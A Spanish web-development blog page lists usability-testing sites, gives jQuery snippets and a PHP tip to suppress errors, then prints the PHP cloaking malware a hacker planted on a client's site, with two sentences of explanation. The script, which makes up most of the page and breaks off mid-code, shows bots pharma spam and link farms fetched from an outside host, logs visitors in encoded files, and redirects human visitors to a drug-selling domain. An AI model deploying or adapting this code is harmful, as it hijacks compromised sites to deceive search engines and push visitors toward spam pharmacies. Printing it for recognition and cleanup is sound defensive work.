24 sitios de tests sobre usabilidad web

1. A Paper and Pencil


2. Concept Feedback



3. Chalkmark


4. Clickheat


5. ClickTale


6. Clixpy


7. Crazy Egg


8. Ethnio


9. Feng-GUI


10. Five Second Test


11. Feedback Army



12. Loop11


13. Mechanical Turk


14. Morae


15. Open Hallway


16. Silverback


17. Simple Mouse Tracking


18. Usabilla


19. UserFly


20. UserTesting.com



21. UserVue


22. Google Analytics


23. Google Website Optimizer


24. Website Grader

Más información

9 técnicas de jquery para mejorar tu código

#1 – Carga jQuery framework desde Google or jquery.com

Este truco suele ser muy bueno ya que te ahorras ancho de banda y además los servidores de google suelen ser muy rápidos. El único problema es que dependes de un servidor externo. Una vez hace años google analytics dejó de funcionar y millones de páginas webs tardaban minutos en cargarse

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"
type="text/javascript"></script>

O desde jquery.com:

<script src="http://code.jquery.com/jquery-latest.js"></script>

#2 Saber si una imagen se ha cargado

utilizando el.load() metódo con “img”

$('#myImage').attr('src', 'image.jpg').load(function() {
 alert('Image Loaded');
 //perform action that is dependant of image being fully loaded
});

#3 Alineación Vertical

Si necesitas un elemento central jQuery nos será muy útil. Su uso es muy sencillo, como todo lo que necesita hacer es agregar la verticalcenter class al objeto que quiere centrar en el documento. .

<div onclick="var doc_height = $(document).height();
  var el_height = $('.verticalcenter').height();
  $('.verticalcenter').css({'position' : 'relative' , 'top' :
  doc_height/2 - el_height/2});">Do it</div>
<div id="test2" class="verticalcenter">TESTER</div>;

#4 Reemplazar un

con jQuery

$('#targetdiv').replaceWith('<div>going to be inserted!</div>');

#5 Regular Expressions y jQuery

Puede llevar a cabo acciones bastante potentes con el texto mediante el uso de expresiones regulares Regex. Regex apoyo jQuery de manera sencilla. Aquí hay un ejemplo donde se elimina la palabra "prueba" de texto en un elemento de la página.

<div onclick="var element = $('#test2'); element.html(element.html().replace(/\s+test/gi, ''));">Do it</div>
<div id="test2">Remove it: test</div>

#6 Abriendo links en una nueva ventanapor medio de una class o atributo

Esta técnica jQuery es una manera simple y rápida de hacer todos los enlaces externos se abren en una nueva ventana. Es necesario agregar el atributo rel = "externo" a enlaces externos.

Otra ventaja de este truco es que target = "blank" atributo no es válido XHTML 1.0 Strict. Si usted está usando el siguiente código, se puede conseguir la misma funcionalidad sin tener problemas de validación.

$("a[@rel~='external']").click( function() {
    window.open( $(this).attr('href') );
    return false;
});

Another way to control this and taking it a bit further by setting window size is shown below. Use the code by setting a class “popupwindow” on a link.

$('a.popupwindow').live('click', function(){
 newwindow=window.open($(this).attr('href'),'','height=220,width=170');
 if (window.focus) {newwindow.focus()}
 return false;
});

Otra forma de controlar esto y tomar un poco más por ajuste de tamaño de la ventana se muestra a continuación. Utilice el código mediante el establecimiento de una clase "popupwindow" en un enlace.

jQuery('a.newTab').live('click', function(){
newwindow=window.open($(this).href);
jQuery(this).target = "_blank";
return false;
});

#7 Verificar si un Element está vacio

Esta es una manera simple de probar en jQuery, si un elemento está vacío. El código se imprime "Sí (?)" En un cuadro de alerta, porque div # prueba es lo más vacío que puede ser.

<div onclick="alert($('#test').html() ? 'Certainly not' : 'Yes (?)');">Test it: Is target element empty?</div>
<div id="test"/>

#8 Número de elementos que retorna un selector

Muy simple:

$('targetelement').size();

#9 Desahabilitar click-derecho en el menú contextual

En tres líneas hecho:

$(document).ready(function(){
  $(document).bind("contextmenu",function(e){
    return false;
  });
});

Esto es una torpe traducción.

No mostrar errores en php

Generalmente cuando estamos en fase de producción nos gusta ver los errores que salen. pero cuando ya hemos acabado queda muy mal que el usuario final vea algún reporte de error en la web.

Colocando esta simple línea de código nos evitamos que s vean los errores:

error_reporting(0);

Lo ideal, claro está, sería que nuestro código tuviera un buen manejo de los errores. Pero muchas veces se requieren las cosas con tanto prisa que nos resulta imposible programar las excepciones.

Código de hackeo Cloaking

A un cliente le han hackeado la web.. es posible que por el plugin de editor de textos que contiene o por alguna otra causa.

El caso es que el archivo detecta cualquier tipo de robot y le muestra texto de viagra si eres un humano ves la página web.

$ff_basefile = "/home/xxxx/xxxxx.com/wymeditor/plugins/tidy/jquery/test.com.txt";

$ff_logname = "/home/xxxxxx/xxxxx.com/wymeditor/plugins/tidy/jquery/_log.txt";



$ff_url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];

$ff_url_md5 = md5($ff_url);



$ff_outlink_file = "http://www.flopex.com/889xsc/links.txt";

$ff_outlinks_count = 10; // count

$ff_outlinks_separator = " |"; // separator



$ff_links_count = 5; // + / - count

$ff_show_links = 1; // 0 - disabled, 1 - enabled



$ff_datetime = date("j F Y : H i s");



$ff_server_user_agent = @$_SERVER['HTTP_USER_AGENT'];

$ff_server_referer = @$_SERVER['HTTP_REFERER'];

$ff_server_host = @$_SERVER['HTTP_HOST'];

$ff_server_remote_addr = @$_SERVER['REMOTE_ADDR'];

$ff_server_query_string = @$_SERVER['QUERY_STRING'];

$ff_server_signature = @$_SERVER['SERVER_SIGNATURE'];

$ff_server_request = @$_SERVER['REQUEST_URI'];

$ff_server_ip = @$_SERVER['REMOTE_ADDR'];



$ff_said = @$_SERVER['HTTP_HOST'];



function detectBot($ff_server_user_agent, $ff_server_query_string, $ff_server_referer, $ff_server_ip) {

$stop_ips_masks = array(

"128\.177\.243\.[0-9]+",

"128\.177\.244\.(86|87|88|89|90|91|92|93|94|95|96|97|98|99|100)$",

"141\.185\.209\.[0-9]+",

"169\.207\.238\.[0-9]+",

"194\.112\.94\.(250|251|252)$",

"194\.201\.146\.(1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24)$",

"194\.221\.84\.(11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41)$",

"194\.51\.33\.72",

"199\.177\.18\.9",

"202\.160\.178\.[0-9]+",

"202\.160\.179\.[0-9]+",

"202\.160\.180\.[0-9]+",

"202\.160\.181\.[0-9]+",

"202\.160\.183\.(182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219|220|221|222|223|224|225|226|227|228|229|230|231|232|233|234|235|236|237|238|239|240|241|242|243|244|245)$",

"202\.160\.185\.174",

"202\.165\.96\.142",

"202\.165\.98\.[0-9]+",

"202\.165\.99\.[0-9]+",

"202\.212\.5\.(30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48)$",

"202\.46\.19\.93",

"203\.123\.188\.2",

"203\.141\.52\.(41|42|43|44|45|46|47)$",

"203\.255\.234\.(102|103|104|105|106)$",

"204\.123\.13\.(36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66)$",

"204\.123\.2\.[0-9]+",

"204\.123\.28\.(10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33)$",

"204\.123\.9\.[0-9]+",

"204\.152\.190\.[0-9]+",

"204\.152\.191\.[0-9]+",

"205\.229\.83\.18",

"206\.190\.43\.(81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125)$",

"207\.126\.239\.224",

"208\.185\.243\.148",

"208\.221\.32\.[0-9]+",

"208\.221\.35\.(200|201|202|203|204|205|206|207)$",

"209\.1\.12\.[0-9]+",

"209\.1\.13\.(101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219|220|221|222|223|224|225|226|227|228|229|230|231|232)$",

"209\.1\.32\.122",

"209\.1\.38\.[0-9]+",

"209\.131\.40\.[0-9]+",

"209\.131\.41\.[0-9]+",

"209\.131\.48\.[0-9]+",

"209\.131\.49\.37",

"209\.131\.50\.153",

"209\.131\.51\.166",

"209\.131\.60\.(19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171)$",

"209\.131\.62\.(107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214)$",

"209\.185\.108\.[0-9]+",

"209\.185\.122\.[0-9]+",

"209\.185\.141\.[0-9]+",

"209\.185\.143\.[0-9]+",

"209\.185\.253\.[0-9]+",

"209\.191\.123\.33",

"209\.191\.64\.227",

"209\.191\.65\.[0-9]+",

"209\.191\.82\.(245|246|247|248|249|250|251|252)$",

"209\.191\.83\.[0-9]+",

"209\.247\.40\.246",

"209\.67\.206\.(126|127|128|129|130|131|132|133)$",

"209\.73\.160\.[0-9]+",

"209\.73\.162\.[0-9]+",

"209\.73\.164\.[0-9]+",

"209\.73\.174\.(250|251)$",

"209\.73\.176\.(128|129|130|131|132|133|134|135|136)$",

"209\.73\.180\.[0-9]+",

"209\.85\.238\.[0-9]+",

"211\.14\.8\.240",

"211\.169\.241\.21",

"212\.187\.213\.(171|172|173|174|175)$",

"212\.187\.226\.[0-9]+",

"212\.187\.227\.[0-9]+",

"213\.216\.143\.(37|38|39)$",

"216\.109\.121\.(70|71)$",

"216\.109\.126\.(131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161)$",

"216\.136\.233\.164",

"216\.145\.58\.219",

"216\.155\.198\.60",

"216\.155\.200\.[0-9]+",

"216\.155\.202\.(54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175)$",

"216\.155\.204\.40",

"216\.239\.193\.(71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86)$",

"216\.239\.33\.(96|97|98|99)$",

"216\.239\.37\.(98|99)$",

"216\.239\.39\.(98|99)$",

"216\.239\.41\.(96|97|98|99)$",

"216\.239\.45\.4",

"216\.239\.46\.[0-9]+",

"216\.239\.51\.(96|97|98|99)$",

"216\.239\.53\.(98|99)$",

"216\.239\.57\.(96|97|98|99)$",

"216\.239\.59\.(98|99)$",

"216\.32\.237\.(1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30)$",

"216\.33\.229\.163",

"216\.39\.48\.[0-9]+",

"216\.39\.50\.[0-9]+",

"216\.39\.51\.[0-9]+",

"62\.172\.199\.(20|21|22|23|24)$",

"62\.27\.59\.245",

"63\.163\.102\.(180|181|182)$",

"64\.152\.75\.[0-9]+",

"64\.157\.137\.(219|220|221|222|223|224|225)$",

"64\.157\.138\.(103|104|105|106|107|108)$",

"64\.233\.173\.(193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219|220|221|222|223|224|225|226|227|228|229|230|231|232|233|234|235|236|237|238|239|240|241|242|243|244|245|246|247|248|249|250|251|252|253|254|255)$",

"64\.68\.80\.[0-9]+",

"64\.68\.81\.[0-9]+",

"64\.68\.82\.[0-9]+",

"64\.68\.83\.[0-9]+",

"64\.68\.84\.[0-9]+",

"64\.68\.85\.[0-9]+",

"64\.68\.86\.[0-9]+",

"64\.68\.87\.[0-9]+",

"64\.68\.88\.[0-9]+",

"64\.68\.89\.[0-9]+",

"64\.68\.90\.[0-9]+",

"64\.68\.91\.[0-9]+",

"64\.68\.92\.[0-9]+",

"64\.75\.36\.(42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80)$",

"66\.163\.170\.(157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193)$",

"66\.163\.174\.65",

"66\.17\.148\.(128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191)$",

"66\.196\.101\.[0-9]+",

"66\.196\.65\.[0-9]+",

"66\.196\.67\.[0-9]+",

"66\.196\.72\.[0-9]+",

"66\.196\.73\.[0-9]+",

"66\.196\.74\.[0-9]+",

"66\.196\.77\.[0-9]+",

"66\.196\.78\.[0-9]+",

"66\.196\.80\.[0-9]+",

"66\.196\.81\.[0-9]+",

"66\.196\.90\.[0-9]+",

"66\.196\.91\.[0-9]+",

"66\.196\.92\.[0-9]+",

"66\.196\.93\.(6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24)$",

"66\.196\.97\.[0-9]+",

"66\.196\.99\.20",

"66\.218\.65\.52",

"66\.218\.70\.[0-9]+",

"66\.228\.164\.[0-9]+",

"66\.228\.165\.[0-9]+",

"66\.228\.166\.[0-9]+",

"66\.228\.173\.[0-9]+",

"66\.228\.182\.(177|178|179|180|181|182|183|184|185|186|187|188|189|190)$",

"66\.249\.64\.[0-9]+",

"66\.249\.65\.[0-9]+",

"66\.249\.66\.[0-9]+",

"66\.249\.67\.[0-9]+",

"66\.249\.68\.[0-9]+",

"66\.249\.69\.[0-9]+",

"66\.249\.70\.[0-9]+",

"66\.249\.71\.[0-9]+",

"66\.249\.72\.[0-9]+",

"66\.249\.73\.[0-9]+",

"66\.249\.78\.[0-9]+",

"66\.249\.79\.[0-9]+",

"66\.94\.230\.(96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163)$",

"66\.94\.232\.[0-9]+",

"66\.94\.233\.[0-9]+",

"66\.94\.238\.51",

"67\.195\.115\.[0-9]+",

"67\.195\.34\.[0-9]+",

"67\.195\.37\.[0-9]+",

"67\.195\.44\.[0-9]+",

"67\.195\.45\.[0-9]+",

"67\.195\.50\.87",

"67\.195\.51\.[0-9]+",

"67\.195\.52\.[0-9]+",

"67\.195\.53\.(111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219)$",

"67\.195\.54\.[0-9]+",

"67\.195\.58\.[0-9]+",

"67\.195\.98\.[0-9]+",

"68\.142\.195\.(80|81)$",

"68\.142\.203\.133",

"68\.142\.211\.69",

"68\.142\.212\.197",

"68\.142\.230\.[0-9]+",

"68\.142\.231\.49",

"68\.142\.240\.106",

"68\.142\.246\.[0-9]+",

"68\.142\.249\.[0-9]+",

"68\.142\.250\.[0-9]+",

"68\.142\.251\.[0-9]+",

"68\.180\.216\.111",

"68\.180\.250\.[0-9]+",

"68\.180\.251\.[0-9]+",

"69\.147\.79\.(131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173)$",

"72\.14\.199\.[0-9]+",

"72\.30\.101\.[0-9]+",

"72\.30\.102\.[0-9]+",

"72\.30\.103\.[0-9]+",

"72\.30\.104\.[0-9]+",

"72\.30\.107\.[0-9]+",

"72\.30\.110\.[0-9]+",

"72\.30\.111\.[0-9]+",

"72\.30\.124\.(128|129|130|131|132|133|134)$",

"72\.30\.128\.[0-9]+",

"72\.30\.129\.[0-9]+",

"72\.30\.131\.[0-9]+",

"72\.30\.132\.[0-9]+",

"72\.30\.133\.[0-9]+",

"72\.30\.134\.[0-9]+",

"72\.30\.135\.[0-9]+",

"72\.30\.142\.[0-9]+",

"72\.30\.161\.[0-9]+",

"72\.30\.177\.[0-9]+",

"72\.30\.179\.[0-9]+",

"72\.30\.213\.101",

"72\.30\.214\.[0-9]+",

"72\.30\.215\.[0-9]+",

"72\.30\.216\.[0-9]+",

"72\.30\.221\.[0-9]+",

"72\.30\.226\.[0-9]+",

"72\.30\.252\.[0-9]+",

"72\.30\.54\.[0-9]+",

"72\.30\.56\.[0-9]+",

"72\.30\.60\.[0-9]+",

"72\.30\.61\.[0-9]+",

"72\.30\.65\.[0-9]+",

"72\.30\.78\.[0-9]+",

"72\.30\.79\.[0-9]+",

"72\.30\.81\.[0-9]+",

"72\.30\.87\.[0-9]+",

"72\.30\.9\.[0-9]+",

"72\.30\.97\.[0-9]+",

"72\.30\.98\.[0-9]+",

"72\.30\.99\.[0-9]+",

"74\.6\.11\.[0-9]+",

"74\.6\.12\.[0-9]+",

"74\.6\.13\.[0-9]+",

"74\.6\.131\.[0-9]+",

"74\.6\.16\.[0-9]+",

"74\.6\.17\.[0-9]+",

"74\.6\.18\.[0-9]+",

"74\.6\.19\.[0-9]+",

"74\.6\.20\.[0-9]+",

"74\.6\.21\.[0-9]+",

"74\.6\.22\.[0-9]+",

"74\.6\.23\.[0-9]+",

"74\.6\.24\.[0-9]+",

"74\.6\.240\.[0-9]+",

"74\.6\.25\.[0-9]+",

"74\.6\.26\.[0-9]+",

"74\.6\.27\.[0-9]+",

"74\.6\.28\.[0-9]+",

"74\.6\.29\.[0-9]+",

"74\.6\.30\.[0-9]+",

"74\.6\.31\.[0-9]+",

"74\.6\.65\.[0-9]+",

"74\.6\.66\.[0-9]+",

"74\.6\.67\.[0-9]+",

"74\.6\.68\.[0-9]+",

"74\.6\.69\.[0-9]+",

"74\.6\.7\.[0-9]+",

"74\.6\.70\.[0-9]+",

"74\.6\.71\.[0-9]+",

"74\.6\.72\.[0-9]+",

"74\.6\.73\.[0-9]+",

"74\.6\.74\.[0-9]+",

"74\.6\.75\.[0-9]+",

"74\.6\.76\.[0-9]+",

"74\.6\.79\.[0-9]+",

"74\.6\.8\.[0-9]+",

"74\.6\.85\.[0-9]+",

"74\.6\.86\.[0-9]+",

"74\.6\.87\.[0-9]+",

"74\.6\.9\.[0-9]+",

"8\.6\.48\.[0-9]+",

"198\.3\.103\.[0-9]+",

"199\.172\.148\.(11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105)$",

"199\.172\.149\.[0-9]+",

"199\.172\.152\.[0-9]+",

"199\.172\.153\.(174|175|176|177|178)$",

"199\.172\.156\.(168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219)$",

"199\.172\.157\.28",

"204\.62\.245\.[0-9]+",

"195\.145\.119\.(24|25)$",

"198\.5\.208\.[0-9]+",

"198\.5\.210\.[0-9]+",

"202\.33\.250\.(146|147|148|149|150|151|152|153|154)$",

"204\.162\.96\.[0-9]+",

"204\.162\.97\.[0-9]+",

"204\.162\.98\.[0-9]+",

"204\.202\.132\.19",

"205\.226\.201\.[0-9]+",

"205\.226\.203\.(35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186)$",

"205\.226\.204\.238",

"206\.3\.30\.(196|197|198|199|200|201|202|203|204|205|206|207|208|209|210|211|212|213|214|215|216|217|218|219|220|221|222|223|224|225|226|227|228|229|230|231|232|233|234|235|236|237|238|239|240|241|242|243|244|245|246|247|248|249|250|251)$",

"210\.148\.160\.(157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195|196|197|198|199|200|201|202|203|204|205|206)$",

"210\.155\.157\.[0-9]+",

"210\.155\.159\.[0-9]+",

"210\.236\.233\.(130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161)$",

"211\.13\.222\.230",

"211\.18\.214\.194",

"212\.185\.44\.(10|11|12|13|14|15)$",

"166\.48\.225\.254",

"202\.232\.118\.(40|41|42|43|44|45|46|47|48|49|50|51)$",

"206\.79\.171\.[0-9]+",

"207\.77\.90\.[0-9]+",

"207\.77\.91\.184",

"208\.146\.26\.[0-9]+",

"208\.146\.27\.(57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124)$",

"209\.202\.192\.[0-9]+",

"209\.202\.193\.[0-9]+",

"209\.202\.194\.(237|238)$",

"209\.202\.205\.1",

"209\.202\.240\.(8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109)$",

"209\.202\.248\.(211|212|213|214)$",

"209\.67\.228\.[0-9]+",

"209\.67\.229\.[0-9]+",

"211\.51\.63\.4",

"213\.193\.19\.35",

"64\.89\.33\.[0-9]+",

"195\.228\.240\.177",

"204\.166\.111\.29",

"205\.181\.75\.(60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130)$",

"208\.219\.77\.[0-9]+",

"216\.34\.102\.[0-9]+",

"216\.34\.109\.(190|191|192)$",

"64\.95\.79\.(40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|107|108|109|110|111|112|113|114|115|116|117|118|119|120|121|122|123|124|125|126|127|128|129|130|131|132|133|134|135|136|137|138|139|140|141|142|143|144|145|146|147|148|149|150|151|152|153|154|155|156|157|158|159|160|161|162|163|164|165|166|167|168|169|170|171|172|173|174|175|176|177|178|179|180|181|182|183|184|185|186|187|188|189|190|191|192|193|194|195)$",

"127\.0\.0\.1",

);



$stop_agents_masks = array(

"http",

"google",

"slurp",

"msnbot",

"Googlebot",

"Mediapartners",

"Yahoo",

"bot",

"crawl",

"spider",

"robot",

"HttpClient",

"curl",

"PHP",

"Indy Library",

"WordPress",

"Charlotte",

"wwwster",

"Python",

"urllib",

"perl",

"libwww",

"lynx",

"Twiceler",

"rambler",

"yandex",

);



$is_human = true;



foreach ($stop_ips_masks as $stop_ip_mask) {

if(eregi($stop_ip_mask, $ff_server_ip)) {

$is_human = false;

break;

}

}



if ($is_human) {

foreach ($stop_agents_masks as $stop_agents_mask) {

if (eregi($stop_agents_mask, @$ff_server_user_agent) !== false) {

$is_human = false;

break;

}

}

}



if ($is_human and !eregi("^[a-zA-Z]{5,}", @$ff_server_user_agent)) {

$is_human = false;

}



if ($is_human and strlen($ff_server_user_agent) <= 11) {

$is_human = false;

}



return $is_human;

}



@$is_human = detectBot($ff_server_user_agent, $ff_server_query_string, $ff_server_referer, $ff_server_ip);



//var_dump(@$is_human);



if (@$is_human == false) {

// --- get text

if (is_file($ff_basefile)) {

$f_arrfile = fopen($ff_basefile, "r");

$f_doors_mas = unserialize(base64_decode(gzinflate(fread($f_arrfile, filesize($ff_basefile)))));

fclose($f_arrfile);



$decs = hexdec(substr($ff_url_md5, 0, 4));



$decs_cof = 65535 / $decs;

$decs = (count($f_doors_mas)-1) / $decs_cof;

$decs = intval($decs);



$ff_ankor = $f_doors_mas[$decs]["name"];



$ff_text = $f_doors_mas[$decs]["text"]."
";

}



// --- run log

if (is_file($ff_logname)) {

$f_logfile = fopen($ff_logname, "r");

$f_log_mas = unserialize(base64_decode(gzinflate(fread($f_logfile, filesize($ff_logname)))));

fclose($f_logfile);



$flag_in_mas = 0;

foreach ($f_log_mas as $key) {

if (in_array($ff_url_md5, $key)) {

$flag_in_mas = 1;

}

}



if ($flag_in_mas == 0) {

$f_log_mas[] = array(

"url_md5"=>$ff_url_md5,

"url"=>$ff_url,

"ankor"=>$ff_ankor,

"referer"=>$ff_server_referer,

"ip"=>$ff_server_ip,

"time"=>$ff_datetime

);



$f_logfile = fopen($ff_logname, "w+");

fputs($f_logfile, gzdeflate(base64_encode(serialize($f_log_mas))));

fclose($f_logfile);

}

}

else

{

$f_log_mas[] = array(

"url_md5"=>$ff_url_md5,

"url"=>$ff_url,

"ankor"=>$ff_ankor,

"referer"=>$ff_server_referer,

"ip"=>$ff_server_ip,

"time"=>$ff_datetime

);



$f_logfile = fopen($ff_logname, "w+");

fputs($f_logfile, gzdeflate(base64_encode(serialize($f_log_mas))));

fclose($f_logfile);

}





// --- show links

if ($ff_show_links == 1) {

for ($i = 0; $i <= count($f_log_mas)-1; $i++) {

if ($f_log_mas[$i]["url_md5"] == $ff_url_md5) {

$url_pos = $i;

}

}



if ($url_pos - $ff_links_count >= 0) {

for ($i=$url_pos - $ff_links_count; $i < $url_pos; $i++) {

$linklist = $linklist . " ". $f_log_mas[$i]["ankor"] . " ";

}

}





if ($url_pos + $ff_links_count <= count($f_log_mas)-1) {

for ($i=$url_pos + 1; $i <= $url_pos + $ff_links_count; $i++) {

$linklist = $linklist . " ". $f_log_mas[$i]["ankor"] . " ";

}

}



$ff_text = str_replace("{show_links}", $linklist, $ff_text);



$ff_outlink_mas = file($ff_outlink_file);

$ff_rand_outlinks = array_rand($ff_outlink_mas, $ff_outlinks_count);



foreach($ff_rand_outlinks as $ff_temp => $ff_teklink) {

$ff_outlinks = $ff_outlinks ."". $ff_outlink_mas[$ff_teklink] ."". $ff_outlinks_separator;

}



$ff_text = str_replace("{out_links}", $ff_outlinks, $ff_text);



echo $ff_text;

}

exit;

}





if (@$is_human) {

if (eregi('Viagra|Cialis|Levitra|Abilify|Accutane|Alesse|Allopurinol|Amoxil|Ampicillin|Antabuse|Aricept|Augmentin|Avandia|Baclofen|Bactrim|Benicar|Celebrex|Celexa|Chloramphenicol|Cipro|Citalopram|Clavamox|Clomid|Coumadin|Cymbalta|Cytotec|Deltasone|Diclofenac|Diflucan|Doxycycline|Elavil|Emsam|Ephedraxin|Erythromycin|Estrace|Evista|Flomax|Fluoxetine|Furosemide|Hoodia|Imuran|Inderal|Lasix|Levlen|Lexapro|Lotensin|Maxalt|Medrol|Metformin|Methotrexate|Naprosyn|Neurontin|Nolvadex|Norvasc|Paxil|Plavix|Prednisone|Premarin|Prevacid|Propecia|Propranolol|Protonix|Proventil|Reglan|Risperdal|Strattera|Sumycin|Synthroid|Tetracycline|Topamax|Trazodone|Tribulus|Tricor|Valtrex|Vermox|Vitamin B-12|Wellbutrin|Xenical|Zanaflex|Zestoretic|Zovirax|Zyban|Zyprexa', $ff_server_referer)) {



$ff_rand_domen = rand(1,3);

$ff_redir_domen = "http://247drugsonline.com/";

if ($ff_rand_domen == 1) { $ff_redir_domen = "http://247drugsonline.com/"; }

if ($ff_rand_domen == 2) { $ff_redir_domen = "http://247drugsonline.com/"; }

